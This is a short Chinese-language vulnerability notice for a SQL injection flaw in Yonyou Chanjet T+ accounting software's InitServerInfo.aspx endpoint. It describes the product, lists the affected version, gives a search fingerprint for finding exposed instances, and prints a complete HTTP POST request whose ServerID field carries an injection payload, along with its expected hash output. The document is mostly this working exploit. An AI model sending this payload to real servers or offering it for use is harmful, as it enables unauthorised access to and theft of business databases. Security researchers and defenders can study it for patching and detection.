用友畅捷通TPlus InitServerInfo存在SQL注入漏洞
一、漏洞简介
畅捷通T+专属云适用于需要一体化管理的企业，财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。用友畅捷通TPlus InitServerInfo存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感数据。
二、影响版本
- 用友畅捷通TPlus
三、资产测绘
- hunnter
app.name="畅捷通 T+" - 登录页面
四、漏洞复现
POST /tplus/UFAQD/InitServerInfo.aspx?preload=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 113
operbtn=create&ServerID=1'%2b(select 1 where 1 in (SELECT sys.fn_varbintohexstr(hashbytes('MD5','123456'))))%2b'1
0xce0bfd15059b68d67688884d7a3d3e8cyongyoutplus-initserverinfo-sqli.yaml